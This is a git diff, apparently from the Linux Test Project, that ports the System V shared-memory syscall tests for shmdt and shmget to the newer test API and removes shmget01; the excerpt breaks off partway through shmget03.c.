diff --git a/testcases/kernel/syscalls/ipc/shmdt/Makefile b/testcases/kernel/syscalls/ipc/shmdt/Makefile
index 26b9f26..b120128 100644
--- a/testcases/kernel/syscalls/ipc/shmdt/Makefile
+++ b/testcases/kernel/syscalls/ipc/shmdt/Makefile
@@ -3,10 +3,10 @@
 
 top_srcdir              ?= ../../../../..
 
-LTPLIBS = ltpipc
+LTPLIBS = ltpnewipc
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-LTPLDLIBS  = -lltpipc
+LTPLDLIBS = -lltpnewipc
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c b/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c
index 697613a..551daac 100644
--- a/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c
+++ b/testcases/kernel/syscalls/ipc/shmdt/shmdt01.c
@@ -1,223 +1,81 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines Corp., 2001
  */
 
-/*
- * NAME
- *	shmdt01.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	shmdt01 - check that shared memory is detached correctly
- *
- * ALGORITHM
- *	create a shared memory resource of size sizeof(int)
- *	attach it to the current process and give it a value
- *	call shmdt() using the TEST macro
- *	check the return code
- *	  if failure, issue a FAIL message.
- *	otherwise,
- *	  if doing functionality testing
- *		attempt to write a value to the shared memory address
- *		this should generate a SIGSEGV which will be caught in
- *		    the signal handler
- *	  	if correct,
- *			issue a PASS message
- *		otherwise
- *			issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  shmdt01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- *      06/03/2008 Renaud Lottiaux (Renaud.Lottiaux@kerlabs.com)
- *      - Fix wrong return value check on shmat system call (leading to
- *        segfault in case of error with this syscall).
- *
- * RESTRICTIONS
- *	none
+ * This case check whether we get SIGSEGV when write a value to a detached
+ * shared memory resource.
  */
 
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/shm.h>
 #include <setjmp.h>
-#include "ipcshm.h"
+#include "tst_test.h"
+#include "libnewipc.h"
+#include "tst_safe_sysv_ipc.h"
 
-char *TCID = "shmdt01";
-int TST_TOTAL = 1;
+static int shm_id = -1, shm_key, pass;
+static int *shared;
+static sigjmp_buf env;
 
-void sighandler(int);
-struct shmid_ds buf;
-
-int shm_id_1 = -1;
-int *shared;			/* variable to use for shared memory attach */
-int new;
-int pass = 0;
-sigjmp_buf env;
-
-int main(int ac, char **av)
+static void sighandler(int sig LTP_ATTRIBUTE_UNUSED)
 {
-	int lc;
-	void check_functionality(void);
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Use TEST macro to make the shmdt() call
-		 */
-
-		TEST(shmdt((const void *)shared));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "%s call failed - errno = %d : %s",
-				 TCID, TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			check_functionality();
-		}
-
-		/* reattach the shared memory segment in case we are looping */
-		shared = shmat(shm_id_1, 0, 0);
-
-		if (shared == (void *)-1) {
-			tst_brkm(TBROK, cleanup, "memory reattach failed");
-		}
-
-		/* also reset pass */
-		pass = 0;
-	}
-
-	cleanup();
-
-	tst_exit();
+	pass = 1;
+	siglongjmp(env, 1);
 }
 
-/*
- * check_functionality() - make sure the memory is detached correctly
- */
-void check_functionality(void)
+static void check_functionality(void)
 {
-	/* stat the shared memory segment */
-	if (shmctl(shm_id_1, IPC_STAT, &buf) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "could not stat in signal handler");
+	struct shmid_ds buf;
 
-	if (buf.shm_nattch != 0) {
-		tst_resm(TFAIL, "# of attaches is incorrect");
+	SAFE_SHMCTL(shm_id, IPC_STAT, &buf);
+	TST_EXP_EQ_LI(buf.shm_nattch, 0);
+	if (buf.shm_nattch)
 		return;
-	}
 
-	/*
-	 * Try writing to the shared memory.  This should generate a
-	 * SIGSEGV which will be caught below.
-	 *
-	 * This is wrapped by the sigsetjmp() call that will take care of
-	 * restoring the program's context in an elegant way in conjunction
-	 * with the call to siglongjmp() in the signal handler.
-	 *
-	 * An attempt to do the assignment without using the sigsetjmp()
-	 * and siglongjmp() calls will result in an infinite loop.  Program
-	 * control is returned to the assignment statement after the execution
-	 * of the signal handler and another SIGSEGV will be generated.
-	 */
-
-	if (sigsetjmp(env, 1) == 0) {
+	if (sigsetjmp(env, 1) == 0)
 		*shared = 2;
-	}
 
-	if (pass) {
-		tst_resm(TPASS, "shared memory detached correctly");
-	} else {
-		tst_resm(TFAIL, "shared memory was not detached correctly");
-	}
+	if (pass)
+		tst_res(TPASS, "shared memory detached correctly");
+	else
+		tst_res(TFAIL, "shared memory was not detached correctly");
 }
 
-void sighandler(int sig)
+static void verify_shmdt(void)
 {
-	/* if we have received a SIGSEGV, we are almost done */
-	if (sig == SIGSEGV) {
-		/* set the global variable and jump back */
-		pass = 1;
-		siglongjmp(env, 1);
-	} else
-		tst_brkm(TBROK, cleanup,
-			 "received an unexpected signal: %d", sig);
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, sighandler, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See libs/libltpipc/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	/* get an IPC resource key */
-	shmkey = getipckey();
-
-	/* create a shared memory resource with read and write permissions */
-	if ((shm_id_1 = shmget(shmkey, INT_SIZE, SHM_RW | IPC_CREAT |
-			       IPC_EXCL)) == -1) {
-		tst_brkm(TBROK, cleanup, "Failed to create shared memory "
-			 "resource in setup()");
+	TST_EXP_PASS_SILENT(shmdt(shared));
+	if (TST_PASS) {
+		check_functionality();
+		shared = SAFE_SHMAT(shm_id, 0, 0);
 	}
 
-	/* attach the shared memory segment */
-	shared = shmat(shm_id_1, 0, 0);
-
-	if (shared == (void *)-1) {
-		tst_brkm(TBROK, cleanup, "Couldn't attach shared memory");
-	}
-
-	/* give a value to the shared memory integer */
-	*shared = 4;
+	pass = 0;
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void setup(void)
 {
-	/* if it exists, delete the shared memory resource */
-	rm_shm(shm_id_1);
+	shm_key = GETIPCKEY();
+	shm_id = SAFE_SHMGET(shm_key, INT_SIZE, SHM_RW | IPC_CREAT | IPC_EXCL);
 
-	tst_rmdir();
-
+	SAFE_SIGNAL(SIGSEGV, sighandler);
+	shared = SAFE_SHMAT(shm_id, 0, 0);
 }
+
+static void cleanup(void)
+{
+	if (shm_id != -1)
+		SAFE_SHMCTL(shm_id, IPC_RMID, NULL);
+}
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_shmdt,
+};
diff --git a/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c b/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c
index 5cab259..782c6f4 100644
--- a/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c
+++ b/testcases/kernel/syscalls/ipc/shmdt/shmdt02.c
@@ -1,118 +1,48 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines Corp., 2001
  */
 
-/*
- * NAME
- *	shmdt02.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	shmdt02 - check for EINVAL error
+ * Tests basic error handing of the shmdt syscall.
  *
- * ALGORITHM
- *	loop if that option was specified
- *	  call shmdt() using an invalid shared memory address
- *	  check the errno value
- *	    issue a PASS message if we get EINVAL
- *	  otherwise, the tests fails
- *	    issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  shmdt02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
+ * -EINVAL there is no shared memory segment attached at shmaddr.
+ * -EINVAL shmaddr is not aligned on a page boundary.
  */
 
-#include "ipcshm.h"
+#include <sys/types.h>
+#include <sys/shm.h>
+#include "tst_test.h"
+#include "libnewipc.h"
 
-char *TCID = "shmdt02";
-int TST_TOTAL = 1;
+static void *non_attched_addr;
+static void *unaligned_addr;
 
-int main(int ac, char **av)
+struct tcase {
+	void **addr;
+	char *des;
+} tcases[] = {
+	{&non_attched_addr, "shmdt(non_attched_addr)"},
+	{&unaligned_addr, "shmdt(unaligned_addr)"}
+};
+
+static void verify_shmdt(unsigned int n)
 {
-	int lc;
-	int unshared;		/* a local variable to use to produce *//* the error in the shmdt() call */
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * make the call using the TEST() macro - attempt to
-		 * remove an invalid shared memory address
-		 */
-
-		TEST(shmdt(&unshared));
-
-		if (TEST_RETURN != -1) {
-			tst_brkm(TFAIL, cleanup, "call succeeded unexpectedly");
-		}
-
-		switch (TEST_ERRNO) {
-		case EINVAL:
-			tst_resm(TPASS, "expected failure - errno = %d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed with an unexpected error "
-				 "- %d : %s", TEST_ERRNO, strerror(TEST_ERRNO));
-
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
+	TST_EXP_FAIL(shmdt(*tc->addr), EINVAL, "%s", tc->des);
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	non_attched_addr = PROBE_FREE_ADDR();
+	unaligned_addr = non_attched_addr + SHMLBA - 1;
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test = verify_shmdt,
+	.tcnt = ARRAY_SIZE(tcases),
+};
diff --git a/testcases/kernel/syscalls/ipc/shmget/.gitignore b/testcases/kernel/syscalls/ipc/shmget/.gitignore
index 728e434..768d1c6 100644
--- a/testcases/kernel/syscalls/ipc/shmget/.gitignore
+++ b/testcases/kernel/syscalls/ipc/shmget/.gitignore
@@ -1,5 +1,5 @@
-/shmget01
 /shmget02
 /shmget03
 /shmget04
 /shmget05
+/shmget06
diff --git a/testcases/kernel/syscalls/ipc/shmget/Makefile b/testcases/kernel/syscalls/ipc/shmget/Makefile
index 26b9f26..b120128 100644
--- a/testcases/kernel/syscalls/ipc/shmget/Makefile
+++ b/testcases/kernel/syscalls/ipc/shmget/Makefile
@@ -3,10 +3,10 @@
 
 top_srcdir              ?= ../../../../..
 
-LTPLIBS = ltpipc
+LTPLIBS = ltpnewipc
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-LTPLDLIBS  = -lltpipc
+LTPLDLIBS = -lltpnewipc
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/ipc/shmget/shmget01.c b/testcases/kernel/syscalls/ipc/shmget/shmget01.c
deleted file mode 100644
index 586f4c2..0000000
--- a/testcases/kernel/syscalls/ipc/shmget/shmget01.c
+++ /dev/null
@@ -1,171 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	shmget01.c
- *
- * DESCRIPTION
- *	shmget01 - test that shmget() correctly creates a shared memory segment
- *
- * ALGORITHM
- *	loop if that option was specified
- *	use the TEST() macro to call shmget()
- *	check the return code
- *	  if failure, issue a FAIL message.
- *	otherwise,
- *	  if doing functionality testing
- *		stat the shared memory resource
- *		check the size, creator pid and mode
- *	  	if correct,
- *			issue a PASS message
- *		otherwise
- *			issue a FAIL message
- *	  else issue a PASS message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  shmget01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
- */
-
-#include "ipcshm.h"
-
-char *TCID = "shmget01";
-int TST_TOTAL = 1;
-
-int shm_id_1 = -1;
-
-int main(int ac, char **av)
-{
-	int lc;
-	struct shmid_ds buf;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Use TEST macro to make the call
-		 */
-
-		TEST(shmget(shmkey, SHM_SIZE, (IPC_CREAT | IPC_EXCL | SHM_RW)));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "%s call failed - errno = %d : %s",
-				 TCID, TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			shm_id_1 = TEST_RETURN;
-			/* do a STAT and check some info */
-			if (shmctl(shm_id_1, IPC_STAT, &buf) == -1) {
-				tst_resm(TBROK, "shmctl failed in "
-					 "functional test");
-				continue;
-			}
-			/* check the seqment size */
-			if (buf.shm_segsz != SHM_SIZE) {
-				tst_resm(TFAIL, "seqment size is not "
-					 "correct");
-				continue;
-			}
-			/* check the pid of the creator */
-			if (buf.shm_cpid != getpid()) {
-				tst_resm(TFAIL, "creator pid is not "
-					 "correct");
-				continue;
-			}
-			/*
-			 * check the mode of the seqment
-			 * mask out all but the lower 9 bits
-			 */
-			if ((buf.shm_perm.mode & MODE_MASK) !=
-			    ((SHM_RW) & MODE_MASK)) {
-				tst_resm(TFAIL, "segment mode is not "
-					 "correct");
-				continue;
-			}
-			/* if we get here, everything looks good */
-			tst_resm(TPASS, "size, pid & mode are correct");
-		}
-
-		/*
-		 * clean up things in case we are looping
-		 */
-		if (shmctl(shm_id_1, IPC_RMID, NULL) == -1) {
-			tst_resm(TBROK, "couldn't remove shared memory");
-		} else {
-			shm_id_1 = -1;
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See libs/libltpipc/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	/* get an IPC resource key */
-	shmkey = getipckey();
-}
-
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
-{
-	/* if it exists, remove the shared memory resource */
-	rm_shm(shm_id_1);
-
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/ipc/shmget/shmget02.c b/testcases/kernel/syscalls/ipc/shmget/shmget02.c
index 4436ca7..3788e71 100644
--- a/testcases/kernel/syscalls/ipc/shmget/shmget02.c
+++ b/testcases/kernel/syscalls/ipc/shmget/shmget02.c
@@ -1,184 +1,152 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  03/2001 - Written by Wayne Boyer
  *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) 2008 Renaud Lottiaux (Renaud.Lottiaux@kerlabs.com)
  */
 
-/*
- * NAME
- *	shmget02.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	shmget02 - check for ENOENT, EEXIST and EINVAL errors
+ * Test for ENOENT, EEXIST, EINVAL, EACCES, EPERM errors.
  *
- * ALGORITHM
- *	create a shared memory segment with read & write permissions
- *	loop if that option was specified
- *	  call shmget() using five different invalid cases
- *	  check the errno value
- *	    issue a PASS message if we get ENOENT, EEXIST or EINVAL
- *	  otherwise, the tests fails
- *	    issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  shmget02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- *      06/03/2008 Renaud Lottiaux (Renaud.Lottiaux@kerlabs.com)
- *      - Fix concurrency issue. The second key used for this test could
- *        conflict with the key from another task.
- *
- * RESTRICTIONS
- *	none
+ * ENOENT - No segment exists for the given key and IPC_CREAT was not specified.
+ * EEXIST - the segment exists and IPC_CREAT | IPC_EXCL is given.
+ * EINVAL - A new segment was to be created and size is less than SHMMIN or
+ * greater than SHMMAX. Or a segment for the given key exists, but size is
+ * gran eater than the size of that segment.
+ * EACCES - The user does not have permission to access the shared memory segment.
+ * EPERM - The SHM_HUGETLB flag was specified, but the caller was not privileged
+ * (did not have the CAP_IPC_LOCK capability) and is not a member of the
+ * sysctl_hugetlb_shm_group group.
+ * ENOMEM - The SHM_HUGETLB flag was specified, the caller was privileged but not
+ * have enough hugepage memory space.
  */
 
-#include "ipcshm.h"
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <stdlib.h>
+#include <pwd.h>
+#include <sys/shm.h>
+#include <grp.h>
+#include "tst_safe_sysv_ipc.h"
+#include "tst_kconfig.h"
+#include "tst_test.h"
+#include "libnewipc.h"
+#include "lapi/shm.h"
 
-char *TCID = "shmget02";
-int TST_TOTAL = 4;
+#define CONFIG_HUGETLBFS "CONFIG_HUGETLBFS"
 
-int shm_id_1 = -1;
-int shm_nonexisting_key = -1;
-key_t shmkey2;
+static int shm_id = -1;
+static key_t shmkey, shmkey1;
+static struct passwd *pw;
 
-struct test_case_t {
-	int *skey;
-	int size;
+static struct tcase {
+	int *shmkey;
+	size_t size;
 	int flags;
-	int error;
-} TC[] = {
-	/* EINVAL - size is 0 */
-	{
-	&shmkey2, 0, IPC_CREAT | IPC_EXCL | SHM_RW, EINVAL},
-	    /* EINVAL - size is negative */
-//      {&shmkey2, -1, IPC_CREAT | IPC_EXCL | SHM_RW, EINVAL},
-	    /* EINVAL - size is larger than created segment */
-	{
-	&shmkey, SHM_SIZE * 2, SHM_RW, EINVAL},
-	    /* EEXIST - the segment exists and IPC_CREAT | IPC_EXCL is given */
-	{
-	&shmkey, SHM_SIZE, IPC_CREAT | IPC_EXCL | SHM_RW, EEXIST},
-	    /* ENOENT - no segment exists for the key and IPC_CREAT is not given */
-	    /* use shm_id_2 (-1) as the key */
-	{
-	&shm_nonexisting_key, SHM_SIZE, SHM_RW, ENOENT}
+	/*1: nobody expected  0: root expected */
+	int exp_user;
+	/*1: nobody expected  0: root expected */
+	int exp_group;
+	int exp_err;
+} tcases[] = {
+	{&shmkey1, SHM_SIZE, IPC_EXCL, 0, 0, ENOENT},
+	{&shmkey, SHM_SIZE, IPC_CREAT | IPC_EXCL, 0, 0, EEXIST},
+	{&shmkey1, SHMMIN - 1, IPC_CREAT | IPC_EXCL, 0, 0, EINVAL},
+	{&shmkey1, SHMMAX + 1, IPC_CREAT | IPC_EXCL, 0, 0, EINVAL},
+	{&shmkey, SHM_SIZE * 2, IPC_EXCL, 0, 0, EINVAL},
+	{&shmkey, SHM_SIZE, SHM_RD, 1, 0, EACCES},
+	{&shmkey1, SHM_SIZE, IPC_CREAT | SHM_HUGETLB, 0, 1, EPERM},
+	{&shmkey1, SHM_SIZE, IPC_CREAT | SHM_HUGETLB, 0, 0, ENOMEM}
 };
 
-int main(int ac, char **av)
+static int get_hugetlb_exp_error(void)
 {
-	int lc;
-	int i;
+	long tmp;
+	struct tst_kconfig_var kconfig = {
+		.id = CONFIG_HUGETLBFS,
+		.id_len = sizeof(CONFIG_HUGETLBFS)-1,
+	};
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	tst_kconfig_read(&kconfig, 1);
 
-	setup();		/* global setup */
+	if (kconfig.choice != 'y') {
+		tst_res(TINFO, "SHM_HUGETLB not supported by kernel");
+		return EINVAL;
+	}
 
-	/* The following loop checks looping state if -i option given */
+	if (FILE_LINES_SCANF("/proc/meminfo", "Hugepagesize: %ld", &tmp)) {
+		tst_res(TINFO, "Huge pages not supported by hardware");
+		return ENOENT;
+	}
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
+	return 0;
+}
 
-		/* loop through the test cases */
-		for (i = 0; i < TST_TOTAL; i++) {
-			/*
-			 * Look for a failure ...
-			 */
+static void do_test(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	pid_t pid;
 
-			TEST(shmget(*(TC[i].skey), TC[i].size, TC[i].flags));
+	if (tc->exp_user == 0 && tc->exp_group == 0) {
+		TST_EXP_FAIL2(shmget(*tc->shmkey, tc->size, tc->flags), tc->exp_err,
+			"shmget(%i, %lu, %i)", *tc->shmkey, tc->size, tc->flags);
+		return;
+	}
 
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS, "expected failure - errno = "
-					 "%d : %s", TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL, "call failed with an "
-					 "unexpected error - %d : %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-			}
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		if (tc->exp_group) {
+			SAFE_SETGROUPS(0, NULL);
+			SAFE_SETGID(pw->pw_gid);
 		}
+		SAFE_SETUID(pw->pw_uid);
+		TST_EXP_FAIL2(shmget(*tc->shmkey, tc->size, tc->flags), tc->exp_err,
+			"shmget(%i, %lu, %i)", *tc->shmkey, tc->size, tc->flags);
+		exit(0);
 	}
-
-	cleanup();
-
-	tst_exit();
+	tst_reap_children();
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
+	struct rlimit rl = { 0, 0 };
+	int hugetlb_errno;
+	unsigned int i;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	shmkey = GETIPCKEY();
+	shmkey1 = GETIPCKEY();
 
-	TEST_PAUSE;
+	SAFE_SETRLIMIT(RLIMIT_MEMLOCK, &rl);
+	shm_id = SAFE_SHMGET(shmkey, SHM_SIZE, IPC_CREAT | IPC_EXCL);
+	pw = SAFE_GETPWNAM("nobody");
+	hugetlb_errno = get_hugetlb_exp_error();
 
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See libs/libltpipc/libipc.c for more information.
-	 */
-	tst_tmpdir();
+	if (!hugetlb_errno)
+		return;
 
-	/* get an IPC resource key */
-	shmkey = getipckey();
-
-	/* Get an new IPC resource key. */
-	shmkey2 = getipckey();
-
-	if ((shm_id_1 = shmget(shmkey, SHM_SIZE, IPC_CREAT | IPC_EXCL |
-			       SHM_RW)) == -1) {
-		tst_brkm(TBROK, cleanup, "couldn't create shared memory "
-			 "segment in setup()");
-	}
-
-	/* Make sure shm_nonexisting_key is a nonexisting key */
-	while (1) {
-		while (-1 != shmget(shm_nonexisting_key, 1, SHM_RD)) {
-			shm_nonexisting_key--;
-		}
-		if (errno == ENOENT)
-			break;
+	for (i = 0; i < ARRAY_SIZE(tcases); i++) {
+		if (tcases[i].flags & SHM_HUGETLB)
+			tcases[i].exp_err = hugetlb_errno;
 	}
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-	/* if it exists, remove the shared memory resource */
-	rm_shm(shm_id_1);
-
-	tst_rmdir();
-
+	if (shm_id >= 0)
+		SAFE_SHMCTL(shm_id, IPC_RMID, NULL);
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.forks_child = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = do_test,
+	.tcnt = ARRAY_SIZE(tcases),
+	.hugepages = {TST_NO_HUGEPAGES},
+};
diff --git a/testcases/kernel/syscalls/ipc/shmget/shmget03.c b/testcases/kernel/syscalls/ipc/shmget/shmget03.c
index 96ebf36..8b157e4 100644
--- a/testcases/kernel/syscalls/ipc/shmget/shmget03.c
+++ b/testcases/kernel/syscalls/ipc/shmget/shmget03.c
@@ -1,171 +1,74 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  03/2001 - Written by Wayne Boyer
  */
 
-/*
- * NAME
- *	shmget03.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	shmget03 - test for ENOSPC error
+ * Test for ENOSPC error.
  *
- * ALGORITHM
- *	create shared memory segments in a loop until reaching the system limit
- *	loop if that option was specified
- *	  attempt to create yet another shared memory segment
- *	  check the errno value
- *	    issue a PASS message if we get ENOSPC
- *	  otherwise, the tests fails
- *	    issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  shmget03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
+ * ENOSPC -  All possible shared memory segments have been taken (SHMMNI).
  */
+#include <errno.h>
+#include <sys/types.h>
